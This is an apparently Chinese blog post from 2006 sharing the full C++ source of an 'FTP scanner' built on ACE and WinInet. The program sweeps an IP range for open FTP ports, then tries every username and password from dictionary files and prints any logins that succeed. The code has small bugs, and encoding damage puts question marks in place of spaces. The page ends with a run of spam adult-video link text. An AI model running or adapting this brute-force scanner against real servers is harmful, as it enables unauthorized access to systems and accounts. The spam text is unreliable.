• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Life & Code

            代碼是咒語,我是魔法師

            FTP掃描器(純娛樂)

            #include? " stdafx.h "
            #include?
            < iostream >
            #include?
            " ace/INET_Addr.h "
            #include?
            " ace/SOCK_Stream.h "
            #include?
            " ace/SOCK_Connector.h "
            #include?
            " ace/Log_Msg.h "
            #include?
            " ace/Time_Value.h "
            #include?
            < vector >
            #include?
            < fstream >
            #include?
            < algorithm >
            #include?
            < string >
            #include?
            < WinInet.h >

            using ? namespace ?std;

            struct ?ftp_info {
            ????
            string ?ip;
            ????
            string ?user_name;
            ????
            string ?psw;
            ????
            int ????port;
            }
            ;
            bool ?connect_ftp(DWORD?ip, int ?port);
            int ??isValIP( const ? char * ?ip);
            void ?usage()
            {
            ????cout?
            << " FTP掃描器V1.0?????eyeonme@gmail.com " ? << endl;
            ????cout?
            << " 參數一:?起始IP地址 " << endl;
            ????cout?
            << " 參數二:?結束IP地址 " << endl;
            ????cout?
            << " 參數三:?端口.(可選,默認21) " << endl;
            ????cout?
            << " 請將用戶字典user.dic?和密碼字典psw.dic?置于程序目錄下 " << endl;
            }




            vector?
            < string > ?ftp_list;
            vector?
            < string > ?user_list;
            vector?
            < string > ?psw_list;
            vector?
            < ftp_info > ?succeed_list;
            int ?????????????ftp_port;
            void ???ftp_guess( const ? string ? & ftp_ip, int ?ftp_port);

            int ?_tmain( int ?argc,?_TCHAR * ?argv[])
            {
            ????
            if (argc < 3 ? || ? ! isValIP(argv[ 1 ])? || ? ! isValIP(argv[ 1 ]))
            ????
            {
            ????????usage();
            ????????
            return ? 0 ;
            ????}

            ????ftp_port?
            = ?argc? == ? 4 ? ? ?atoi(argv[ 3 ]): 21 ;
            ????ACE::init();

            ????ifstream?user_file(
            " .\\user.dic " );
            ????
            if ( ! user_file)
            ????
            {
            ????????cout?
            << " 不能打開?user.dic " << endl;
            ????????
            return ? 0 ;
            ????}


            ????ifstream?psw_file(
            " .\\psw.dic " );
            ????
            if ( ! user_file)
            ????
            {
            ????????cout?
            << " 不能打開?psw.dic " << endl;
            ????????
            return ? 0 ;
            ????}

            ????
            char ?line[ 1024 ]? = ? { 0 } ;

            ????
            while (user_file.getline(line, 1024 ))
            ????
            {
            ????????user_list.push_back(line);
            ????}


            ????
            while (psw_file.getline(line, 1024 ))
            ????
            {
            ????????psw_list.push_back(line);
            ????}

            ????psw_file.close();
            ????user_file.close();
            ????
            ????DWORD?ip1?
            = ?inet_addr(argv[ 1 ]);
            ????DWORD?ip2?
            = ?inet_addr(argv[ 2 ]);

            ????DWORD???range1??
            = ?((BYTE * ) & ip1)[ 3 ];
            ????DWORD???range2??
            = ?((BYTE * ) & ip2)[ 3 ];
            ????DWORD???connect_ip?
            = ?ip1;
            ????
            ????
            ????
            // 掃描網段
            ???? for (DWORD?i = range1;?i < range2;?i ++ ?)
            ????
            {
            ????????((BYTE
            * ) & connect_ip)[ 3 ]? = ?(BYTE)i;
            ????????connect_ftp(htonl(connect_ip),ftp_port);
            ????}

            ????
            ????
            // 密碼猜解
            ???? for (vector < string ? > ::iterator?i = ftp_list.begin();?i? != ?ftp_list.end();?i ++ )
            ????
            {
            ????????cout?
            << " \n嘗試 " <<* i;
            ????????ftp_guess(
            * i,ftp_port);
            ????}


            ????
            for (vector < ftp_info > ::iterator?i? = ?succeed_list.begin();?i? != ?succeed_list.end();?i ++ )
            ????
            {
            ????????cout?
            << " \n*********所有成功********* " << endl;
            ????????cout?
            << " IP: " << ?i -> ip << endl;
            ????????cout?
            << " 端口: " << ?i -> port << endl;
            ????????cout?
            << " 用戶名: " << ?i -> user_name << endl;
            ????????cout?
            << " 密碼: " << ?i -> psw;
            ????????
            ????????cout?
            << endl;
            ????}

            ????ACE::fini();
            ????system(
            " pause " );
            ????
            return ? 0 ;
            }


            bool ?connect_ftp(DWORD?ip, int ?port)
            {
            ????ACE_INET_Addr?srvr?(port,?ip);
            ????ACE_SOCK_Connector?connector;
            ????ACE_SOCK_Stream?peer;
            ????ACE_Time_Value?TimeOut;
            ????TimeOut.
            set ( 0 , 5000 );

            ????
            // ACE_DEBUG((LM_INFO,"%s:%d?",srvr.get_host_addr(),port));
            ???? if ?( - 1 ? == ?connector.connect?(peer,?srvr, & TimeOut))
            ????
            {
            ????????
            // ACE_DEBUG((LM_INFO,"失敗%p\n"));
            ????}

            ????
            else
            ????
            {
            ????????ACE_DEBUG((LM_INFO,
            " %s:%d\t開啟\n " ,srvr.get_host_addr(),port));
            ????????ftp_list.push_back(srvr.get_host_addr());
            ????}

            ????peer.close();
            ????
            return ? true ;
            }


            int ?isValIP( const ? char * ?ip)
            {
            ????
            static ? char ?tab[ 24 ][ 11 ]? = ? { { 1 , 2 , 3 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , - 1 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 5 } ,
            ????
            { 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 5 } ,
            ????
            { 4 , 4 , 4 , 4 , 4 , 6 , 1 , 1 , 1 , 1 , 5 } ,
            ????
            { 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 5 } ,
            ????
            { 7 , 8 , 9 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , - 1 } ,
            ????
            { 1 , 1 , 1 , 1 , 1 , 1 , - 1 , - 1 , - 1 , - 1 , 5 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 11 } ,
            ????
            { 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 11 } ,
            ????
            { 10 , 10 , 10 , 10 , 10 , 12 , 7 , 7 , 7 , 7 , 11 } ,
            ????
            { 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 11 } ,
            ????
            { 13 , 14 , 15 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , - 1 } ,
            ????
            { 7 , 7 , 7 , 7 , 7 , 7 , - 1 , - 1 , - 1 , - 1 , 11 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 17 } ,
            ????
            { 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 17 } ,
            ????
            { 16 , 16 , 16 , 16 , 16 , 18 , 13 , 13 , 13 , 13 , 17 } ,
            ????
            { 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 17 } ,
            ????
            { 19 , 20 , 21 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , - 1 } ,
            ????
            { 13 , 13 , 13 , 13 , 13 , 13 , - 1 , - 1 , - 1 , - 1 , 17 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 } ,
            ????
            { 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , - 1 } ,
            ????
            { 22 , 22 , 22 , 22 , 22 , 23 , 19 , 19 , 19 , 19 , - 1 } ,
            ????
            { 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , - 1 } ,
            ????
            { 19 , 19 , 19 , 19 , 19 , 19 , - 1 , - 1 , - 1 , - 1 , - 1 } }
            ;
            ????
            if (ip? != ?NULL)
            ????
            {
            ????????
            int ?stat? = ? 0 ;
            ????????
            for ( const ? char * ?tmp? = ?ip;? * tmp? != ? ' \0 ' ? && ?stat? >= ? 0 ;? ++ tmp)
            ????????
            {
            ????????????
            if ( ' 0 ' ? <= ? * tmp? && ? * tmp? <= ? ' 9 ' )
            ????????????????stat?
            = ?tab[stat][ * tmp? - ? ' 0 ' ];
            ????????????
            else ? if ( * tmp? == ? ' . ' )
            ????????????????stat?
            = ?tab[stat][ 10 ];
            ????????????
            else
            ????????????????stat?
            = ? - 1 ;
            ????????}

            ????????
            if (stat? >= ? 19 ? && ?stat? <= ? 23 )
            ????????????
            return ? 1 ;
            ????}

            ????
            return ? 0 ;
            }


            void ???ftp_guess( const ? string ? & ftp_ip, int ?port)
            {
            ????HINTERNET??hInternet?
            = ?InternetOpen(NULL,?INTERNET_OPEN_TYPE_PRECONFIG,?NULL,?NULL,? 0 );
            ????
            if ?(hInternet != NULL)?
            ????
            {
            ????????
            for (vector < string ? > ::iterator?user? = ?user_list.begin();
            ????????????????????user?
            != ?user_list.end();?user ++ )
            ????????
            {
            ????????????
            for (vector < string ? > ::iterator?psw? = ?psw_list.begin();
            ????????????????????????psw?
            != ?psw_list.end();?psw ++ )
            ????????????
            {
            ????????????????HINTERNET??hFtpSession?
            = ?InternetConnect(hInternet,?ftp_ip.c_str(),
            ????????????????????port,?user
            -> c_str(),?psw -> c_str(),?INTERNET_SERVICE_FTP,? 0 ,?NULL);
            ????????????????cout?
            << " \nUserName: " <<* user << " : " <<* psw;
            ????????????????
            if (hFtpSession)
            ????????????????
            {
            ????????????????????cout?
            << " 成功 " << endl;
            ????????????????????InternetCloseHandle(hFtpSession);????
            ????????????????????ftp_info?_info;
            ????????????????????_info.ip?
            = ?ftp_ip;
            ????????????????????_info.port?
            = ?port;
            ????????????????????_info.psw??
            = ? * psw;
            ????????????????????_info.user_name?
            = ? * user;
            ????????????????????succeed_list.push_back(_info);
            ????????????????????
            goto ?_exit;
            ????????????????}

            ????????????????
            else
            ????????????????
            {
            ????????????????????DWORD?dwError?
            = ?GetLastError();
            ????????????????????
            if ( 12014 ? != ?dwError)
            ????????????????????
            {
            ????????????????????????InternetCloseHandle(hFtpSession);????
            ????????????????????????
            goto ?_exit;
            ????????????????????}

            ????????????????????
            /*
            ????????????????????DWORD?dwErr;
            ????????????????????char??errInfo[1024]={0};??
            ????????????????????DWORD?len?=?sizeof(errInfo)/sizeof(errInfo[0]);
            ????????????????????InternetGetLastResponseInfo(&dwErr,?errInfo,?&len);
            ????????????????????cout?<<?errInfo<<endl;
            ????????????????????
            */

            ????????????????}

            ????????????????InternetCloseHandle(hFtpSession);
            ????????????}

            ????????}

            ????}

            _exit:
            ????InternetCloseHandle(hInternet);

            }

            posted on 2006-12-13 00:19 橙子 閱讀(1648) 評論(1)  編輯 收藏 引用 所屬分類: ACE

            評論

            # re: FTP掃描器(純娛樂) 2011-07-18 12:20 VGA采集卡

            試下看,謝謝分享  回復  更多評論   

            <2006年10月>
            24252627282930
            1234567
            891011121314
            15161718192021
            22232425262728
            2930311234

            導航

            統計

            常用鏈接

            留言簿(10)

            隨筆分類

            隨筆檔案

            相冊

            收藏夾

            搜索

            最新評論

            閱讀排行榜

            久久无码人妻精品一区二区三区 | 99久久www免费人成精品| 久久久久亚洲av成人网人人软件 | 777米奇久久最新地址| 欧美激情精品久久久久久久九九九| 久久91精品国产91久久小草| 久久精品一区二区三区AV| 婷婷综合久久中文字幕蜜桃三电影| 久久免费香蕉视频| 亚洲欧美日韩久久精品第一区| 久久99国产精一区二区三区| 精品久久人人爽天天玩人人妻 | 国产精品内射久久久久欢欢| 久久久亚洲欧洲日产国码aⅴ | 国産精品久久久久久久| 久久久久免费精品国产| 蜜桃麻豆www久久| 91久久精一区二区三区大全| 久久精品亚洲精品国产欧美| 久久国产成人午夜aⅴ影院| 嫩草伊人久久精品少妇AV| 亚洲国产香蕉人人爽成AV片久久 | 久久夜色精品国产亚洲| 日韩欧美亚洲国产精品字幕久久久| 国产精品久久久久乳精品爆| 久久SE精品一区二区| 久久久久99精品成人片三人毛片| 亚洲精品无码专区久久久| 久久综合鬼色88久久精品综合自在自线噜噜| 久久久国产一区二区三区| 久久久久人妻一区精品色| 久久亚洲熟女cc98cm| 无码人妻少妇久久中文字幕 | 中文精品99久久国产 | 日韩中文久久| 欧美一级久久久久久久大片| 国产精品日韩欧美久久综合| 国产午夜久久影院| 91精品国产乱码久久久久久| 97久久国产亚洲精品超碰热 | 97热久久免费频精品99|